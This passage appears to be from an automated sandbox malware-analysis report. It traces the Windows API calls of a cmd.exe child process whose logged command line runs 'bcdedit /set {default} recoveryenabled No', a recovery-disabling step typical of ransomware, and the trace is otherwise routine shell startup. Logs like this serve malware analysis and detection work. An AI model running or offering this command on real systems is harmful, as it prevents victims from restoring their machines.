dwProcessId=0x307c, dwThreadId=0x3080)) returned 1
	[0248.303] CloseHandle (hObject=0x50) returned 1
	[0248.303] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0248.303] GetProcessHeap () returned 0x480000
	[0248.303] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49ac50 | out: hHeap=0x480000) returned 1
	[0248.303] GetEnvironmentStringsW () returned 0x49ac50*
	[0248.303] GetProcessHeap () returned 0x480000
	[0248.303] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xae8) returned 0x498a60
	[0248.303] FreeEnvironmentStringsW (penv=0x49ac50) returned 1
	[0248.303] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) 

Process:
	id = "49"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x39e18000"
	os_pid = "0x2ae8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2385
	os_tid = 0x2aec

	[0246.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fed0 | out: lpSystemTimeAsFileTime=0x28fed0*(dwLowDateTime=0x757a1ac0, dwHighDateTime=0x1d5cdef)) 
	[0246.930] GetCurrentProcessId () returned 0x2ae8
	[0246.930] GetCurrentThreadId () returned 0x2aec
	[0246.930] GetTickCount () returned 0x1181056
	[0246.930] QueryPerformanceCounter (in: lpPerformanceCount=0x28fed8 | out: lpPerformanceCount=0x28fed8*=38848981867) returned 1
	[0246.932] GetModuleHandleW (lpModuleName=0x0) returned 0x4a500000
	[0246.932] __set_app_type (_Type=0x1) 
	[0246.932] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a527810) returned 0x0
	[0246.932] __getmainargs (in: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610, _DoWildCard=0, _StartInfo=0x4a52e0f4 | out: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610) returned 0
	[0246.933] GetCurrentThreadId () returned 0x2aec
	[0246.933] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x2aec) returned 0x3c
	[0246.933] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0246.933] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0246.933] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0247.442] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0247.442] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28fe68 | out: phkResult=0x28fe68*=0x0) returned 0x2
	[0247.442] VirtualQuery (in: lpAddress=0x28fe50, lpBuffer=0x28fdd0, dwLength=0x30 | out: lpBuffer=0x28fdd0*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.442] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28fdd0, dwLength=0x30 | out: lpBuffer=0x28fdd0*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.442] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28fdd0, dwLength=0x30 | out: lpBuffer=0x28fdd0*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.443] VirtualQuery (in: lpAddress=0x194000, lpBuffer=0x28fdd0, dwLength=0x30 | out: lpBuffer=0x28fdd0*(BaseAddress=0x194000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.443] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28fdd0, dwLength=0x30 | out: lpBuffer=0x28fdd0*(BaseAddress=0x290000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0247.443] GetConsoleOutputCP () returned 0x1b5
	[0247.443] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.444] SetConsoleCtrlHandler (HandlerRoutine=0x4a523184, Add=1) returned 1
	[0247.444] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.444] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0247.445] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.445] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a52e194 | out: lpMode=0x4a52e194) returned 1
	[0247.445] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.445] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0247.446] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.446] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a52e198 | out: lpMode=0x4a52e198) returned 1
	[0247.446] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.446] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0247.447] GetEnvironmentStringsW () returned 0x348b00*
	[0247.447] GetProcessHeap () returned 0x330000
	[0247.447] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa7c) returned 0x349590
	[0247.447] FreeEnvironmentStringsW (penv=0x348b00) returned 1
	[0247.448] GetProcessHeap () returned 0x330000
	[0247.448] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x8) returned 0x348980
	[0247.448] GetEnvironmentStringsW () returned 0x348b00*
	[0247.448] GetProcessHeap () returned 0x330000
	[0247.448] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa7c) returned 0x34a020
	[0247.448] FreeEnvironmentStringsW (penv=0x348b00) returned 1
	[0247.448] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28ed28 | out: phkResult=0x28ed28*=0x44) returned 0x0
	[0247.448] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x0, lpData=0x28ed40*=0x18, lpcbData=0x28ed24*=0x1000) returned 0x2
	[0247.448] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x4, lpData=0x28ed40*=0x1, lpcbData=0x28ed24*=0x4) returned 0x0
	[0247.449] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x0, lpData=0x28ed40*=0x1, lpcbData=0x28ed24*=0x1000) returned 0x2
	[0247.449] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x4, lpData=0x28ed40*=0x0, lpcbData=0x28ed24*=0x4) returned 0x0
	[0247.449] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x4, lpData=0x28ed40*=0x40, lpcbData=0x28ed24*=0x4) returned 0x0
	[0247.449] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x4, lpData=0x28ed40*=0x40, lpcbData=0x28ed24*=0x4) returned 0x0
	[0247.449] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x0, lpData=0x28ed40*=0x40, lpcbData=0x28ed24*=0x1000) returned 0x2
	[0247.449] RegCloseKey (hKey=0x44) returned 0x0
	[0247.449] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28ed28 | out: phkResult=0x28ed28*=0x44) returned 0x0
	[0247.449] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x0, lpData=0x28ed40*=0x40, lpcbData=0x28ed24*=0x1000) returned 0x2
	[0247.449] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x4, lpData=0x28ed40*=0x1, lpcbData=0x28ed24*=0x4) returned 0x0
	[0247.449] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x0, lpData=0x28ed40*=0x1, lpcbData=0x28ed24*=0x1000) returned 0x2
	[0247.450] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x4, lpData=0x28ed40*=0x0, lpcbData=0x28ed24*=0x4) returned 0x0
	[0247.450] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x4, lpData=0x28ed40*=0x9, lpcbData=0x28ed24*=0x4) returned 0x0
	[0247.450] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x4, lpData=0x28ed40*=0x9, lpcbData=0x28ed24*=0x4) returned 0x0
	[0247.450] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28ed20, lpData=0x28ed40, lpcbData=0x28ed24*=0x1000 | out: lpType=0x28ed20*=0x0, lpData=0x28ed40*=0x9, lpcbData=0x28ed24*=0x1000) returned 0x2
	[0247.450] RegCloseKey (hKey=0x44) returned 0x0
	[0247.450] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e6eb
	[0247.450] srand (_Seed=0x5e22e6eb) 
	[0247.450] GetCommandLineW () returned="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	[0247.450] GetCommandLineW () returned="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	[0247.451] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.451] GetProcessHeap () returned 0x330000
	[0247.451] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x218) returned 0x34aab0
	[0247.451] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34aac0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0247.451] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.451] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.451] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.451] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0247.452] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0247.452] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0247.452] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0247.452] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0247.452] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0247.452] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0247.452] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0247.452] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0247.452] GetProcessHeap () returned 0x330000
	[0247.452] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x349590 | out: hHeap=0x330000) returned 1
	[0247.452] GetEnvironmentStringsW () returned 0x348b00*
	[0247.452] GetProcessHeap () returned 0x330000
	[0247.452] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa94) returned 0x34b770
	[0247.453] FreeEnvironmentStringsW (penv=0x348b00) returned 1
	[0247.453] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.453] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.453] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0247.453] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0247.453] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0247.453] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0247.453] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0247.453] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0247.453] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0247.453] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0247.453] GetProcessHeap () returned 0x330000
	[0247.453] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x5c) returned 0x331320
	[0247.453] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28fb30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28fb30, lpFilePart=0x28fb10 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28fb10*="Desktop") returned 0x25
	[0247.454] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.454] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f840 | out: lpFindFileData=0x28f840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc0000dc, cFileName="Users", cAlternateFileName="")) returned 0x331390
	[0247.454] FindClose (in: hFindFile=0x331390 | out: hFindFile=0x331390) returned 1
	[0247.454] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f840 | out: lpFindFileData=0x28f840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc0000dc, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x331390
	[0247.454] FindClose (in: hFindFile=0x331390 | out: hFindFile=0x331390) returned 1
	[0247.455] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0247.455] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f840 | out: lpFindFileData=0x28f840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28993240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x28993240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc0000dc, cFileName="Desktop", cAlternateFileName="")) returned 0x331390
	[0247.455] FindClose (in: hFindFile=0x331390 | out: hFindFile=0x331390) returned 1
	[0247.455] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.455] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0247.455] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0247.455] GetProcessHeap () returned 0x330000
	[0247.455] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b770 | out: hHeap=0x330000) returned 1
	[0247.455] GetEnvironmentStringsW () returned 0x348b00*
	[0247.455] GetProcessHeap () returned 0x330000
	[0247.455] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xae8) returned 0x34acd0
	[0247.456] FreeEnvironmentStringsW (penv=0x348b00) returned 1
	[0247.456] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.456] GetProcessHeap () returned 0x330000
	[0247.456] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x331320 | out: hHeap=0x330000) returned 1
	[0247.456] GetProcessHeap () returned 0x330000
	[0247.456] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4016) returned 0x34cd00
	[0247.457] GetProcessHeap () returned 0x330000
	[0247.457] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x9e) returned 0x34b7c0
	[0247.457] GetProcessHeap () returned 0x330000
	[0247.457] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4010) returned 0x350d20
	[0247.458] GetProcessHeap () returned 0x330000
	[0247.458] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4010) returned 0x354d40
	[0247.459] GetProcessHeap () returned 0x330000
	[0247.459] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00 | out: hHeap=0x330000) returned 1
	[0247.459] GetConsoleOutputCP () returned 0x1b5
	[0247.459] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.459] GetUserDefaultLCID () returned 0x409
	[0247.460] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a537b50, cchData=8 | out: lpLCData=":") returned 2
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28fc40, cchData=128 | out: lpLCData="0") returned 2
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28fc40, cchData=128 | out: lpLCData="0") returned 2
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28fc40, cchData=128 | out: lpLCData="1") returned 2
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a54a740, cchData=8 | out: lpLCData="/") returned 2
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a54a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a54a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a54a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a54a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0247.461] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a54a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0247.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a54a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0247.462] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a54a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0247.462] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a537b40, cchData=8 | out: lpLCData=".") returned 2
	[0247.462] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a54a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0247.462] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0247.463] GetProcessHeap () returned 0x330000
	[0247.463] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20c) returned 0x34b8e0
	[0247.463] GetConsoleTitleW (in: lpConsoleTitle=0x34b8e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.464] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0247.464] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0247.464] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0247.464] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0247.465] GetProcessHeap () returned 0x330000
	[0247.465] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4012) returned 0x34cd00
	[0247.465] GetProcessHeap () returned 0x330000
	[0247.465] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00 | out: hHeap=0x330000) returned 1
	[0247.466] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0247.466] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0247.466] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0247.466] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0247.466] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0247.466] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0247.466] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0247.466] GetProcessHeap () returned 0x330000
	[0247.466] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34bb00
	[0247.466] GetProcessHeap () returned 0x330000
	[0247.466] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x344620
	[0247.468] GetProcessHeap () returned 0x330000
	[0247.468] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x58) returned 0x34bbc0
	[0247.469] GetProcessHeap () returned 0x330000
	[0247.470] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34bc20
	[0247.471] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0247.471] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0247.471] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0247.471] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0247.471] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0247.471] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0247.471] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0247.471] GetProcessHeap () returned 0x330000
	[0247.471] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34bce0
	[0247.471] GetProcessHeap () returned 0x330000
	[0247.471] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x344650
	[0247.472] GetProcessHeap () returned 0x330000
	[0247.472] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x346560
	[0247.474] GetConsoleTitleW (in: lpConsoleTitle=0x28fa90, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.475] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0247.475] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0247.475] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0247.475] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0247.475] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0247.475] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0247.475] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0247.476] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
